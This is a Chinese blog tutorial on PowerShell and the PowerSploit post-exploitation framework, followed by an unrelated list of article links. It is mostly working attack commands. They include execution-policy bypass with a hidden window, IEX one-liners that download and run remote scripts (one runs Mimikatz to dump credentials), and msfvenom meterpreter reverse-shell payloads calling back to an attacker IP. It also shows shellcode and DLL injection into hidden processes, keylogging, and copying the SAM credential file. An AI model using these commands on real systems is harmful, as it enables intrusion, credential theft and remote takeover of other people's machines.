Powershell & Powersploit 入門
前言
PowerShell 是執行在 Windows上實現系統和應用程式管理自動化的命令列指令碼環境。你可以把它看成是命令列提示符 cmd.exe 的擴充,或是顛覆。Powershell 需要.NET環境的支援,同時支援.NET物件。其可讀性,易用性,可以位居當前所有 shell 之首。
當前 PowerShell 有四版本,分別為 1.0,2.0,3.0 ,4.0
PowerShell簡介
PowerShell指令碼
* 本地許可權繞過執行 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
* 本地隱藏許可權繞過執行指令碼 PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden(隱藏視窗) -File xxx.ps1
* 直接用IEX下載遠端的PS1指令碼回來許可權繞過執行 powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
* 遠端程式碼執行 IEX (New-Object
Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)
PowerSploit簡介
一款基於powershell的後滲透(Post-Exploitation)框架,整合大量滲透相關模組和功能。
https://github.com/mattifestation/PowerSploit
Linux下簡易安裝和搭建Powersploit(用於測試,請勿使用非法用途)
Linux git clone powerspolit
開啟Apache服務
搭建簡易可下載powersploit指令碼的伺服器
Powersploit模組簡介
* CodeExecution 在目標主機執行程式碼
* ScriptModification 在目標主機上建立或修改指令碼
* Persistence 後門指令碼(永續性控制)
* AntivirusBypass 發現殺軟查殺特徵
* Exfiltration 目標主機上的資訊蒐集工具
* Mayhem 藍屏等破壞性指令碼
* Recon 以目標主機為跳板進行內網資訊偵查
Powersploit 模組運用
Invoke-Shellcode 此模組結合MSF使用可以達到意想不到的效果,在這理就不介紹。
先在目標主機安裝“Invoke-Shellcode”指令碼,使用Get-Help + 指令碼名可以檢視使用方法:
命令格式:
IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecutio
n/Invoke--Shellcode.ps1")
在MSF裡面使用reverse_https模組進行反彈,設定如下
本來在Invoke-Shellcode直接使用以下這條命令進行反彈的:
Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost 192.168.146.129 -Lport 4444 -Force
但是Powersploit更新到了3.0, Invoke-Shellcode指令碼沒有Lhost和Lport引數,所以我們需要用到另外一種方法實現。
使用msfvenom生成一個powershell指令碼。
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.110.129 LPORT=4444 -f powershell -o /var/www/html/tes
IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/test")
Invoke-Shellcode -Shellcode ($buf)
程式注入
首先建立一個隱藏的程式:
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
使用Get-Process命令檢視當前程式,記住你剛剛建立的隱藏程式ID
然後使用Invoke-Shellcode指令碼進行程式注入
Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf)
要是你的Powersploit是2.2版本的那麼可以直接使用以下命令
Invoke-Shellcode -ProcessID 2384 –Payload
windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444
DLL注入
Invoke-DLLInjection 是DLL注入指令碼
首先下載安裝DLL注入指令碼到目標機器
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Inv
oke-DllInjection.ps1")
在MSF裡面生成一個DLL注入指令碼,然後下載DLL檔案使用Invoke-DLLInjection指令碼來實現DLL注入
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll –o /var/www/html/msf.dll
為什麼使我們的注入更加隱蔽,我們開啟一個隱藏程式來進行DLL注入
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll
Invoke-Portscan埠掃描
Invoke-Portscan -Hosts <IP Adress/Rangr> -Ports
nvoke-Mimikatz DUMP密碼(注意此指令碼需要用管理員許可權執行)
Invoke-Mimikatz –DumpCreds也可以直接執行
Get-Keystrokes 鍵盤記錄器
Get-Keystrokes -LogPath + <儲存位置>
Invoke-NinjaCopy 萬能複製
Invoke-NinjaCopy -Path <需要複製的檔案> -LocalDestination <複製檔案儲存位置>
像windows主機裡有個資料庫SAM檔案,裡面資料很多有價值的資訊,普通的COPY命令是無法複製的,使用萬能複製可以複製SAM檔案
Invoke-ReverseDnsLookup DNS查詢(好像沒什麼用- -!,望大家告訴我這玩意有什麼用)
Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>
Get-HttpStatus 網站目錄檢測(好像沒什麼用)
Get-HttpStatus –Target <IP Address> + 字典 (如果遇到的是HTTPS的那麼後面加-UseSSL,在其他埠的那麼 –Port )
相關文章
- 酷工作 | Base 杭州、上海、北京三地招【前端 & Java & Golang & C++】前端JavaGolangC++
- [上海][區塊鏈] MyToken 招聘 Go & PHP & Python & 前端,大神們快上車區塊鏈GoPHPPython前端
- 龍芯 & Golang!Golang
- beego & bee 1.9.0 releasedGo
- AMP專案實戰分享
- Elastic AMP監控.NET程式效能AST
- cryptofbc & ecdlp solver projectsProject
- Google AMP WebPackage 在 Webnovel 的應用GoWebPackage
- 招聘golang開發&架構師Golang架構
- GO 指標*&問題疑問Go指標
- 關於 AMP,Webnovel 都做了些什麼?Web
- oracle & mysql 驅動程式安裝配置OracleMySql
- 關於特殊符號&與& 的處理符號
- 資料庫實驗4:JDBC&ODBC資料庫JDBC
- 「windows平臺」IATHook&原理與實現(4)WindowsHook
- Appdash原始碼閱讀——Tracer&SpanAPP原始碼
- windows server 2003下搭建amp環境WindowsServer
- AMP:Google 新技術能讓網頁瞬間載入完畢Go網頁
- AMP,來自 Google 的移動頁面優化方案Go優化
- 用workbox 加速amp、pwa 訪問 教程步驟精簡
- AMP Roadshow技術分享路演中國專場報名
- 前端生態混亂,AMP&MIP在努力做標準化工作前端
- AMP Roadshow技術分享路演中國專場報名開始了!
- 報名 | AdMob&AdSense 網路教學課堂初夏班
- C++ AMP 加速大規模平行計算-GPU和CPU的效能比較C++GPU
- 【上海】Strikingly (YC W13) 招聘 Golang 工程師 & Devops 工程師Golang工程師dev
- 使用ATT&CK框架對威脅狩獵的成熟度進行評估框架
- Go中取址符(&)取的到底是記憶體地址,還是指標變數?Go記憶體指標變數
- 通過構造系統服務分發實現攔截&過濾 (仿360遊戲保險箱)遊戲
- int型別是無法通過&獲取地址的,那物件裡的*int應該如何賦值型別物件賦值
- LG推出X venture新機:IP68級防護 / 4100mAh電池 / AT&T獨家承銷
- powershell入門教程-v0.3版
- Docker for windows 入門三(PowerShell命令使用)DockerWindows
- [PowerShell] 快速入門, 基本語法, 常用型別, 函式, .NET 互操作型別函式
- Powershell tricks::Powershell RemotingREM
- Azure 基礎:用 PowerShell 自動登入
- 入門入門入門 MySQL命名行MySql
- 如何入CTF的“門”?——所謂入門就是入門